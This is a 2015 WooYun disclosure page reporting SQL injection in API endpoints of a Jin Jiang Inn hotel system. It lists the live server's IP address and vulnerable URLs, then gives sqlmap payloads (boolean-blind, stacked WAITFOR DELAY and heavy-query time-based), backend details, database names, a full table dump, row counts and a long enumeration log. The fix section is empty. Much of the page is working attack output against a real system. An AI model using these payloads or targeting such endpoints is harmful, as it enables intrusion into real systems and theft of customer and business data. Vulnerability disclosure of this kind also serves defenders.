当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0125095

漏洞标题：锦江之星某处存在多处SQL注射

相关厂商：锦江之星旅馆有限公司

漏洞作者： 路人甲

提交时间：2015-07-07 12:10

修复时间：2015-07-12 12:12

公开时间：2015-07-12 12:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-07： 细节已通知厂商并且等待厂商处理中
2015-07-12： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

1，
http://220.196.57.147:8080/GetUser.aspx?password=123456&service=api_company_login&username=admin
 
2，
http://220.196.57.147:8080/GetUnit.aspx?BeginDate=2015-06-20&City=3100&ClientLatitude=31.193943&ClientLongitude=121.346603&EndDate=2015-06-21&ImgSize=S&OrderPirce=asc&pageIndex=1&pageSize=200&PriceEnd=0&PriceState=0&Radius=15&service=api_gethotellist
这里面几乎每个参数都存在注入
3，
http://220.196.57.147:8080/GetResv.aspx?endDate=2015-06-07&guestId=8229518&isDelete=0&pageIndex=1&pageSize=20&searchType=&service=get_resvlist_info&sort=0&startDate=2014-01-01
4,
http://220.196.57.147:8080/GetUnit.aspx?RmtpId=1&service=api_getUnitRmtp&UnitId=0001

漏洞证明：

sqlmap identified the following injection points with a total of 84 HTTP(s) requests:
---
Parameter: startDate (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: endDate=2015-06-07&guestId=8229518&isDelete=0&pageIndex=1&pageSize=20&searchType=&service=get_resvlist_info&sort=0&startDate=2014-01-01' AND 7092=7092 AND 'xqfP'='xqfP
---
sqlmap identified the following injection points with a total of 109 HTTP(s) requests:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: password=123456&service=api_company_login&username=-3213' OR 4831=4831 AND 'nAZu'='nAZu
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: password=123456&service=api_company_login&username=admin';WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: password=123456&service=api_company_login&username=admin' AND 4493=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'jrjq'='jrjq
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 1349 HTTP(s) requests:
---
Parameter: City (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: BeginDate=2015-06-20&City=3100' AND 2004=2004 AND 'CMOs'='CMOs&ClientLatitude=31.193943&ClientLongitude=121.346603&EndDate=2015-06-21&ImgSize=S&OrderPirce=asc&pageIndex=1&pageSize=200&PriceEnd=0&PriceState=0&Radius=15&service=api_gethotellist
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: BeginDate=2015-06-20&City=3100';WAITFOR DELAY '0:0:5'--&ClientLatitude=31.193943&ClientLongitude=121.346603&EndDate=2015-06-21&ImgSize=S&OrderPirce=asc&pageIndex=1&pageSize=200&PriceEnd=0&PriceState=0&Radius=15&service=api_gethotellist
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
available databases [8]:
[*] CenterDB
[*] CenterDB_History
[*] distribution
[*] ERM
[*] master
[*] model
[*] msdb
[*] tempdb
Database: ERM
[169 tables]
+-------------------------------------------+
| BaseComment                               |
| BaseContact                               |
| BaseContactDetails                        |
| BaseException                             |
| BaseFile                                  |
| BaseFolder                                |
| BaseItemDetails                           |
| BaseItems                                 |
| BaseKnowledge                             |
| BaseLog                                   |
| BaseMessage                               |
| BaseModule                                |
| BaseNews                                  |
| BaseOrganize                              |
| BaseParameter                             |
| BasePermission                            |
| BasePermissionItem                        |
| BasePermissionScope                       |
| BaseProject                               |
| BaseRole                                  |
| BaseRoleDeleted                           |
| BaseSequence                              |
| BaseStaff                                 |
| BaseStaffOrganize                         |
| BaseTableColumns                          |
| BaseUser                                  |
| BaseUserAddress                           |
| BaseUserMenDian                           |
| BaseUserOrganize                          |
| BaseUserRole                              |
| BusinessCard                              |
| CRM_BusinessLog                           |
| CRM_BusinessLogDetials                    |
| CRM_CDSTongBuRiZhi                        |
| CRM_JianYeShuDuiHuan                      |
| CRM_JianYeShuTongJi                       |
| CRM_JianYeShuTongJiLiuShui                |
| CRM_JianYeShuTongJiRiZhi                  |
| CRM_PMSIssuedLog                          |
| CRM_PMSXiaFaRiZhi                         |
| CRM_QiYeFenZu                             |
| CRM_QiYeKeHuHuiFang                       |
| CRM_QiYeKeHuXieYi                         |
| CRM_QiYeKeHuXinXi                         |
| CRM_QiYeKeHuXinXiHB                       |
| CRM_QiYeLianXiRen                         |
| CRM_QiYeLianXiRen_20140624                |
| CRM_XieYiGuanLiZu                         |
| CRM_ZuMenDian                             |
| CRM_ZuYongHu                              |
| CRM_newJianYeShuTongJiLiuShui             |
| DN_Unit                                   |
| ItemsAllowDelete                          |
| ItemsAllowEdit                            |
| ItemsArea                                 |
| ItemsAuditStatus                          |
| ItemsAuditWorkFlowCodeType                |
| ItemsBugCategory                          |
| ItemsBugLevel                             |
| ItemsCondition                            |
| ItemsDegree                               |
| ItemsDeletionStateCode                    |
| ItemsDuiJingJiXingJiuDianYaoQiuDeShouXuan |
| ItemsDuty                                 |
| ItemsEducation                            |
| ItemsEnabled                              |
| ItemsGender                               |
| ItemsGongSiDengJi                         |
| ItemsGongSiGuiMo                          |
| ItemsGongSiLeiXing                        |
| ItemsGongSiXingZhi                        |
| ItemsHangYe                               |
| ItemsHeZuoZhuangTai                       |
| ItemsJieSuanFangShi                       |
| ItemsLaiYuan                              |
| ItemsLeaveCategory                        |
| ItemsLianXiPinLyu                         |
| ItemsLinks                                |
| ItemsMuBiaoChuXingChengShi                |
| ItemsMuQianZhuYaoHeZuoJiuDian             |
| ItemsNationality                          |
| ItemsNewsCategory                         |
| ItemsOrganizeCategory                     |
| ItemsParty                                |
| ItemsPattern                              |
| ItemsPinPai                               |
| ItemsPriority                             |
| ItemsQuDaoDaiMa                           |
| ItemsQuanGuoXieYi                         |
| ItemsRenJunZhuSuBaoXiaoBiaoZhun           |
| ItemsRoleCategory                         |
| ItemsSecurityLevel                        |
| ItemsShangWuQianLi                        |
| ItemsSuoYouXieYiZheKou                    |
| ItemsSystem                               |
| ItemsTablePermissionScope                 |
| ItemsTitle                                |
| ItemsTrueFalse                            |
| ItemsUnits                                |
| ItemsWed                                  |
| ItemsWorkCategory                         |
| ItemsWorkFlowCategories                   |
| ItemsWorkStatus                           |
| ItemsWorkingProperty                      |
| ItemsXieYiLeiXing                         |
| ItemsXieYiZheKou                          |
| ItemsYesNo                                |
| ItemsYueJunZhuSuLiang                     |
| ItemsZhangHaoLeiXing                      |
| ItemsZhuCeZiJin                           |
| JiJiangItems                              |
| JinJiangModule                            |
| JinJiangPermission                        |
| JinJiangPermissionItem                    |
| JinJiangPermissionScope                   |
| JinJiangRole                              |
| JinJiangUserRole                          |
| OptionItemsComputerCategory               |
| OptionItemsDisability                     |
| OptionItemsExpress                        |
| OptionItemsFaPiaoShuXing                  |
| OptionItemsFuKuanShuXing                  |
| OptionItemsHousehold                      |
| OptionItemsLockWaitMinute                 |
| OptionItemsOilAlarmFiltering              |
| OptionItemsOilDataSource                  |
| OptionItemsOilEventGroup                  |
| OptionItemsOilEventType                   |
| OptionItemsOilEventType_Old               |
| OptionItemsOilInstallations               |
| OptionItemsOnSale                         |
| OptionItemsPayCategory                    |
| OptionItemsPostCategory                   |
| OptionItemsSalaryItemCategory             |
| OptionItemsSendCategory                   |
| OptionItemsShouFeiLeiXing                 |
| Sheet1$                                   |
| V_CRM_JianYeShuDuiHuan                    |
| V_CRM_JianYeShuTongJiLiuShui              |
| V_CRM_QiYeKeHuXieYi                       |
| V_CRM_QiYeKeHuXinXi                       |
| V_CRM_QiYeKeHuXinXiXuanZe                 |
| V_CRM_XiaoShouYuanGongXian                |
| V_CRM_XiaoShouYuanGongXianDetail          |
| WorkFlowItems                             |
| WorkFlowModule                            |
| WorkFlowPermission                        |
| WorkFlowPermissionItem                    |
| WorkFlowPermissionScope                   |
| WorkFlowRole                              |
| WorkFlowUserRole                          |
| WorkReport                                |
| ZB_Balanceinhandmode                      |
| ZB_BusinessAffairsPotential               |
| ZB_CompanyType                            |
| ZB_ContactFrequecy                        |
| ZB_Contractstate                          |
| ZB_GongSiXingZhi                          |
| ZB_Market                                 |
| ZB_RateCode                               |
| ZB_Vocation                               |
| ZE_Contract                               |
| ZE_National                               |
| Z_CRM_QiYeKeHuXieYi                       |
| Z_CRM_QiYeKeHuXinXi                       |
| Z_Contract                                |
| Z_GuestWebUser                            |
| Z_National                                |
| Z_UnitRole                                |
+-------------------------------------------+
Database: ERM
+-----------------------------------------------+---------+
| Table                                         | Entries |
+-----------------------------------------------+---------+
| dbo.CRM_JianYeShuTongJiLiuShui                | 842324  |
| dbo.V_CRM_JianYeShuTongJiLiuShui              | 842324  |
| dbo.V_CRM_XiaoShouYuanGongXianDetail          | 842324  |
| dbo.BaseLog                                   | 148882  |
| dbo.CRM_JianYeShuTongJi                       | 141136  |
| dbo.CRM_BusinessLog                           | 94733   |
| dbo.CRM_BusinessLogDetials                    | 88870   |
| dbo.Z_National                                | 41480   |
| dbo.Z_Contract                                | 41321   |
| dbo.Z_CRM_QiYeKeHuXieYi                       | 41173   |
| dbo.Z_CRM_QiYeKeHuXinXi                       | 40983   |
| dbo.BaseParameter                             | 36444   |
| dbo.CRM_PMSIssuedLog                          | 11292   |
[18:21:19] [INFO] fetching tables for database: CenterDB
[18:21:19] [INFO] fetching number of tables for database 'CenterDB'
[18:21:20] [INFO] resumed: 522
[18:21:20] [INFO] resumed: dbo.AlBBConsumeInfo
[18:21:20] [INFO] resumed: dbo.ALPayMentLog
[18:21:20] [INFO] retrieved: dbo.ALPayMentLo
[18:31:00] [INFO] retrieved: dbo.cccc2
[18:39:33] [INFO] retrieved: dbo.CDS_AllSyncLog
[18:53:52] [INFO] retrieved: dbo.CDS_AntithesesCompanyCode
[19:10:39] [INFO] retrieved: dbo.CDS_AntithesesCompanyCode_Back
[19:18:58] [INFO] retrieved: dbo.CDS_Channel
[19:25:50] [INFO] retrieved: dbo.CDS_ChannelContribute
[19:36:50] [INFO] retrieved: dbo.CDS_ChannelRateCode
[19:46:25] [INFO] retrieved: dbo.CDS_CommunicationLog
[20:01:53] [INFO] retrieved: dbo.CDS_CommunicationReport
[20:10:43] [INFO] retrieved: dbo.CDS_Contract
[20:18:30] [INFO] retrieved: dbo.CDS_CRSRmTp
[20:26:12] [INFO] retrieved: dbo.CDS_Dictionary
[20:36:53] [INFO] retrieved: dbo.CDS_ECInfo
[20:45:07] [INFO] retrieved: dbo.CDS_GuaranteeRules
[21:01:01] [INFO] retrieved: dbo.CDS_GuestWebUser_Test
[21:16:27] [INFO] retrieved: dbo.CDS_InnHotel
[21:26:16] [INFO] retrieved: dbo.CDS_JG
[21:29:37] [INFO] retrieved: dbo.CDS_LOG
[21:34:13] [INFO] retrieved: dbo.CDS_Market
[21:42:00] [INFO] retrieved: dbo.CDS_MarketGroup
[21:48:56] [INFO] retrieved: dbo.CDS_MarketingDictionary
[22:03:46] [INFO] retrieved: dbo.CDS_National
[22:12:57] [INFO] retrieved: dbo.CDS_National_back
[22:19:51] [INFO] retrieved: dbo.CDS_National_Temp
[22:27:47] [INFO] retrieved: dbo.CDS_NationalAcount
[22:36:18] [INFO] retrieved: dbo.CDS_NationalBDAccount
[22:47:27] [INFO] retrieved: dbo.CDS_NationalContract
[22:58:12] [INFO] retrieved: dbo.CDS_NationalContract_000090037
[23:10:59] [INFO] retrieved: dbo.CDS_NationalContract_20140717
[23:22:13] [INFO] retrieved: dbo.CDS_NationalContract_back
[23:29:42] [INFO] retrieved: dbo.CDS_Package
[23:38:47] [INFO] retrieved: dbo.CDS_RateCode
[23:46:49] [INFO] retrieved: dbo.CDS_RateCodeDetail
[23:54:49] [INFO] retrieved: dbo.CDS_RateCodeDetail_Bak
[00:01:59] [INFO] retrieved: dbo.CDS_RateCodeFormula
[00:11:05] [INFO] retrieved: dbo.CDS_RateCodeGroup
[00:20:38] [INFO] retrieved: dbo.CDS_RateCodeSwitch
[00:29:32] [INFO] retrieved: dbo.CDS_RateI
[00:38:46] [INFO] retrieved: dbo.CDS_Source
[00:45:03] [INFO] retrieved: dbo.CDS_SourceGroup
[00:51:31] [INFO] retrieved: dbo.CDS_Specials
[00:58:37] [INFO] retrieved: dbo.CDS_SyncCardLog
[01:08:42] [INFO] retrieved: dbo.CDS_Unit
[01:13:45] [INFO] retrieved: dbo.CDS_UnitChannel
[01:21:14] [INFO] retrieved: dbo.CDS_UnitRateCode
[01:29:52] [INFO] retrieved: dbo.CDS_UnitRmTp
[01:34:27] [INFO] retrieved: dbo.CDS_UnitRmTpLog
[01:39:36] [INFO] retrieved: dbo.CDS_UnitSpecials
[01:48:01] [INFO] retrieved: dbo.CDS_UserWeb
[01:54:55] [INFO] retrieved: dbo.CDS_Visit
[02:00:45] [INFO] retrieved: dbo.CDS_WebControlAttribute
[02:18:05] [INFO] retrieved: dbo.CDS_WebModuleAttribute
[02:32:14] [INFO] retrieved: dbo.CDS_WebPageAttribute
[02:44:47] [INFO] retrieved: dbo.CDS_WebRole
[02:50:11] [INFO] retrieved: dbo.CDS_WebSetting
[02:58:02] [INFO] retrieved: dbo.CRM_InvoiceForCCard
[03:14:34] [INFO] retrieved: dbo.CRM_MessageLog
[03:24:40] [INFO] retrieved: dbo.CRM_MessageRecord
[03:32:25] [INFO] retrieved: dbo.CRM_MessageTemplate
[03:41:38] [INFO] retrieved: dbo.CRM_MessageType
[03:46:53] [INFO] retrieved: dbo.CRS_Alipay_Asynchronous
[04:06:37] [INFO] retrieved: dbo.CRS_Alipay_Asynchronous
[04:30:53] [INFO] retrieved: dbo.CRS_Alipay_ShortNoteSendLog
[04:48:58] [INFO] retrieved: dbo.CRS_Announcement
[05:00:18] [INFO] retrieved: dbo.CRS_ChannelLog
[05:11:43] [INFO] retrieved: dbo.CRS_FuncMapRole
[05:23:33] [INFO] retrieved: dbo.CRS_FunctionInfo
[05:33:00] [INFO] retrieved: dbo.CRS_HotelAnnouncementRelation
[05:56:52] [INFO] retrieved: dbo.CRS_IssuedLOG
[06:06:55] [INFO] retrieved: dbo.CRS_LOG
[06:11:44] [INFO] retrieved: dbo.CRS_MenuInfo
[06:21:26] [INFO] retrieved: dbo.CRS_RefundFastpay
[06:36:27] [INFO] retrieved: dbo.CRS_ResvExportHeadText
[06:53:44] [INFO] retrieved: dbo.CRS_RoleInfo
[07:02:52] [INFO] retrieved: dbo.CRS_RoleType
[07:09:13] [INFO] retrieved: dbo.CRS_UnitMapRole
[07:21:54] [INFO] retrieved: dbo.CRS_UserInfo
[07:31:10] [INFO] retrieved: dbo.CRS_UserMapRole
[07:41:29] [INFO] retrieved: dbo.DBA_IndexFrag
[07:57:52] [INFO] retrieved: dbo.destTbl
[08:08:09] [INFO] retrieved: dbo.DN_AppCode
[08:20:13] [INFO] retrieved: dbo.DN_AppLoad
[08:27:23] [INFO] retrieved: dbo.DN_AppMenu
[08:34:32] [INFO] retrieved: dbo.DN_AppModule
[08:42:55] [INFO] retrieved: dbo.DN_AppParameter
[08:55:56] [INFO] retrieved: dbo.DN_AppSystem
[09:06:18] [INFO] retrieved: dbo.DN_CardCategory
[09:26:01] [INFO] retrieved: dbo.DN_ChartUser
[09:41:14] [INFO] retrieved: dbo.DN_Class
[09:50:03] [INFO] retrieved: dbo.DN_CoCode

修复方案：

。。。。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-07-12 12:12

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无